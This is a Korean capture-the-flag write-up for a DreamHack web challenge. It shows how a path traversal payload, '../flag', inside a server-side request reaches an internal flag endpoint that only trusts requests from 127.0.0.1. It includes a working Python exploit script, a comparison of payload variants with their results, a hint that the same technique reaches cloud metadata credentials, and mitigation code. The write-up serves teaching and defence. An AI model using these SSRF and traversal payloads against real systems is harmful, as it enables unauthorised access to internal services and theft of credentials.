문제: DreamHack — Path Traversal 분류: Web (Path Traversal / SSRF) 난이도: 🌱 새싹 FLAG:
DH{8a33bb6fe0a37522bdc8adb65116b2d4}
사용자 정보를 조회하는 API 서버에서 /api/flag의 플래그를 빼내는 새싹 난이도 문제입니다. 조회 폼 하나가 전부라 단순해 보이지만, 서버가 내부로 보내는 요청 URL에 사용자 입력이 그대로 들어갑니다. 노릴 곳은 여기입니다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Path Traversal |
| 난이도 | 🌱 새싹 |
| 분류 | Web (Path Traversal / SSRF) |
| 제공 파일 / 서버 | app.py / http://host8.dreamhack.games:14412/ |
| 핵심 취약점 / 기법 | 사용자 입력이 내부 API 요청 URL에 삽입 → ../로 접근 제한 우회 |
Flask로 짜여 있고, 외부에 열린 /get_info와 내부 전용(127.0.0.1)인 /api/*로 나뉩니다.
플래그가 든 /api/flag는 외부에서 직접 부르면 401이 떨어집니다. 하지만 서버 자신이 보내는 요청은 통과하는데, 이 차이를 비틀어 우회합니다.
🔬 분석
Step 1 — app.py 구조 파악
소스를 보면 외부 라우트와 내부 라우트가 깔끔하게 갈립니다.
def internal_api(func):
@wraps(func)
def decorated_view(*args, **kwargs):
if request.remote_addr == '127.0.0.1':
return func(*args, **kwargs)
else:
abort(401)
return decorated_view
API_HOST = 'http://127.0.0.1:8000'
try:
FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
FLAG = '[**FLAG**]'internal_api 데코레이터는 요청의 remote_addr가 127.0.0.1일 때만 함수를 실행합니다. 외부 IP면 즉시 abort(401).
플래그를 들고 있는 엔드포인트들이 전부 이 데코레이터로 보호됩니다.
@app.route('/api/user/<uid>')
@internal_api
def get_flag(uid):
try:
info = users[uid]
except:
info = {}
return json.dumps(info)
@app.route('/api/flag')
@internal_api
def flag():
return FLAG즉 /api/flag는 외부에서 직접 때리면 401. 그렇다면 누가 127.0.0.1로 요청을 보낼 수 있는가? 바로 서버 자신입니다.
Step 2 — 외부 진입점 /get_info
외부에서 접근 가능한 유일한 기능 라우트가 /get_info입니다.
@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
if request.method == 'GET':
return render_template('get_info.html')
elif request.method == 'POST':
userid = request.form.get('userid', '')
info = requests.get(f'{API_HOST}/api/user/{userid}').text
return render_template('get_info.html', info=info)POST로 받은 userid가 검증도 인코딩도 없이 내부 요청 URL http://127.0.0.1:8000/api/user/{userid}에 그대로 박힙니다.
이 요청은 서버가 보내니 remote_addr == 127.0.0.1이라 internal_api를 통과합니다. 즉 userid로 내부 API 경로의 일부를 우리가 정할 수 있다는 얘기입니다.
먼저 메인 페이지와 조회 폼을 둘러봅니다.

Get User Info 링크를 따라가면 userid를 입력받는 폼이 나옵니다.

Step 3 — 정상 동작 확인
기본값 guest로 조회하면, 폼의 자바스크립트가 guest를 사용자 인덱스 0으로 치환해 전송하고, 내부 API /api/user/0이 사용자 JSON을 반환합니다.

응답 박스에 {"userid": "guest", "level": 1, ...}가 그대로 렌더링됩니다. 내부 API 응답이 외부 화면까지 흘러나온다는 것을 확인했습니다.
💣 핵심 취약점 — 두 결함이 겹쳐 만드는 우회
취약점은 하나가 아니라 둘이고, 둘이 맞물려야 플래그까지 닿습니다.
| 결함 | 어디서 발생 | 효과 |
|---|---|---|
| SSRF (Server-Side Request Forgery) | 서버가 사용자 대신 127.0.0.1로 요청을 보냄 | 외부에서 못 가는 내부 망에 서버를 거쳐 도달 |
| Path Traversal | userid가 검증 없이 URL 경로에 삽입됨 | ../로 경로를 거슬러 올라가 다른 엔드포인트로 |
SSRF로 외부에선 못 가던 127.0.0.1에 닿고, 그 요청 경로를 Path Traversal로 틀어 /api/flag로 들어갑니다. 둘 중 하나만 빠져도 안 됩니다. 흐름은 이렇습니다.

requests.get()에 넘어가는 URL은 다음과 같이 조립됩니다.
http://127.0.0.1:8000/api/user/{userid}여기서 userid = ../flag 를 넣으면 URL은:
http://127.0.0.1:8000/api/user/../flagdot-segment 정규화는 어떻게 일어나는가 (RFC 3986)
requests(내부 urllib3)는 요청을 보내기 전에 경로를 RFC 3986의 remove_dot_segments로 정규화합니다. 브라우저가 a/b/../c를 a/c로 처리하는 것과 같은 표준 동작입니다.
/api/user/../flag가 정규화되는 과정을 입력에서 출력으로 따라가 보면 이렇습니다.
입력: /api/user/../flag
─────────────────────────────────────────────
1. "/api" 를 출력으로 이동 out = /api
2. "/user" 를 출력으로 이동 out = /api/user
3. "/.." → 출력의 마지막 세그먼트(/user) 제거 out = /api
4. "/flag" 를 출력으로 이동 out = /api/flag
─────────────────────────────────────────────
결과: /api/flag/..를 만나면 출력에서 직전 세그먼트(/user)를 떼어냅니다. 그래서 /api/user/라는 경로 제약이 풀리고, 같은 레벨의 형제 엔드포인트인 /api/flag로 넘어갑니다.
/api/user/../flag → /api/flag직접 부르면 401로 막히던 /api/flag를, 서버가 대신 호출하도록 떠넘긴 셈입니다. internal_api는 호출자가 127.0.0.1(서버 본인)이라 그냥 통과시키고, 플래그가 응답에 그대로 실려 나옵니다. IP만 보고 믿는 방식은 이렇게 입력 한 줄에 뚫립니다.
🎯 풀이 / Payload
조회 폼에 ../flag를 입력합니다.

⚠️ 폼에는
userid값을 사용자 인덱스(guest→0,admin→1)로 치환하는onsubmit스크립트가 붙어 있습니다.../flag는 매핑 테이블에 없어undefined로 바뀌므로, 브라우저에서 그대로 전송하려면 개발자도구로 스크립트를 우회하거나 아래처럼requests로 직접 POST 하는 편이 깔끔합니다.
전송하면 응답 박스에 플래그가 노출됩니다.

🚀 Full Exploit
JS 매핑을 우회하기 위해 Python requests로 userid=../flag를 직접 POST 합니다.
import re
import requests
BASE = "http://host8.dreamhack.games:14412"
# userid=../flag → 내부 URL /api/user/../flag → 정규화 → /api/flag
r = requests.post(f"{BASE}/get_info", data={"userid": "../flag"}, timeout=10)
m = re.search(r"DH\{[^}]*\}", r.text)
print("FLAG:", m.group(0) if m else "(not found)")세 가지 payload(../flag, ..%2fflag, %2e%2e%2fflag)를 함께 던져 비교하면, 날것의 ../flag만 플래그를 뱉습니다.

[payload='../flag'] status=200 → FLAG: DH{8a33bb6fe0a37522bdc8adb65116b2d4}
[payload='..%2fflag'] status=200 → (no flag)
[payload='%2e%2e%2fflag'] status=200 → (no flag)💡 인코딩하면 오히려 실패합니다. 슬래시·점을 URL 인코딩한
..%2fflag/%2e%2e%2fflag는%2f가 경로 구분자가 아니라 한 세그먼트 안의 글자로 취급되어,requests가 dot-segment 정규화(상위 경로 이동)를 수행하지 않습니다. 그 결과/api/user/..%2fflag라는 단일 세그먼트로 남아 라우트에 매칭되지 않고 빈{}만 돌아옵니다. 점·슬래시를 날것 그대로 보내는../flag가 정답입니다.
payload 변형 비교
변형을 나란히 놓고 보면, 정규화가 인코딩되지 않은 진짜 /에만 작동한다는 게 드러납니다.
| payload | 정규화 후 실제 경로 | 결과 | 이유 |
|---|---|---|---|
../flag | /api/flag | ✅ FLAG | /가 살아있어 dot-segment 정규화 발동 |
..%2fflag | /api/user/..%2fflag | ❌ | %2f는 인코딩된 슬래시 → 단일 세그먼트, 정규화 안 됨 |
%2e%2e%2fflag | /api/user/%2e%2e%2fflag | ❌ | ..·/ 전부 인코딩 → 정규화 대상 아님 |
..%2f..%2fflag | (그대로) | ❌ | 마찬가지로 인코딩된 슬래시는 무력 |
....//flag | /api/user/....//flag | ❌ | ....는 ..가 아님 — 정규화 안 됨 |
서버단에서 %2f를 디코딩한 뒤 라우팅한다면 이야기가 달라지지만, Flask/Werkzeug 기본 라우팅은 인코딩된 슬래시를 세그먼트 구분자로 보지 않습니다. 그래서 클라이언트(requests) 단계에서 정규화가 일어나는 날것의 ../flag 만 통합니다.
🛡️ 어떻게 막을까
원인은 결국 검증 안 한 입력을 URL 경로에 그대로 이어 붙인 것입니다. 막는 방법은 세 갈래입니다.
import re
import urllib.parse
# ① 입력 화이트리스트 — 애초에 ../ 가 들어올 수 없게
userid = request.form.get('userid', '')
if not re.fullmatch(r'\d+', userid): # 숫자 인덱스만 허용
abort(400)
# ② 경로 인코딩 — 슬래시·점을 세그먼트 글자로 박제
safe_uid = urllib.parse.quote(userid, safe='') # ../ -> ..%2F (정규화 차단)
info = requests.get(f'{API_HOST}/api/user/{safe_uid}').text
# ③ 출처(IP)에 기대지 않는 인증 — 내부 API에도 비밀 토큰 요구
info = requests.get(
f'{API_HOST}/api/user/{safe_uid}',
headers={'X-Internal-Token': INTERNAL_SECRET},
).text①이 제일 확실합니다. 입력 형식을 숫자로 좁히면 ../는 들어올 수조차 없습니다. ②는 입력을 그대로 써야 할 때 정규화를 막는 보조책이고, ③은 "내부에서 왔으니 믿는다"는 가정 자체를 버리는 방법입니다.
remote_addr == 127.0.0.1처럼 출처(IP)에 기댄 인증은 SSRF 한 번이면 그대로 무너집니다.
📝 결론
입력을 URL 경로에 그대로 붙이지 말 것
f'{API_HOST}/api/user/{userid}'처럼 입력을 경로에 이어 붙이면 ../로 위 경로를 거슬러 다른 엔드포인트까지 갈 수 있다. 숫자만 허용하는 검증이나 quote(userid, safe='')로 슬래시·점을 박제하는 게 기본이다.
IP 출처만 보는 인증은 믿을 게 못 된다
remote_addr == 127.0.0.1은 "내부 요청만 받겠다"는 뜻이었지만, 외부 입력이 내부 요청의 경로를 흔들 수 있으면 그 경계는 의미가 없다. 내부 API라도 토큰이나 서명처럼 출처와 무관한 인증을 따로 둬야 한다.
난이도는 새싹이어도 패턴은 실전 그대로다
같은 구조의 SSRF가 클라우드에서는 http://169.254.169.254/latest/meta-data/(AWS 메타데이터)로 향해 임시 자격증명을 털어가는 공격이 된다. "서버가 대신 요청을 보내고, 입력이 그 목적지를 조종한다"는 뼈대는 똑같다. 새싹 문제 하나에 SSRF, Path Traversal, 신뢰 경계가 다 들어있는 셈이다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…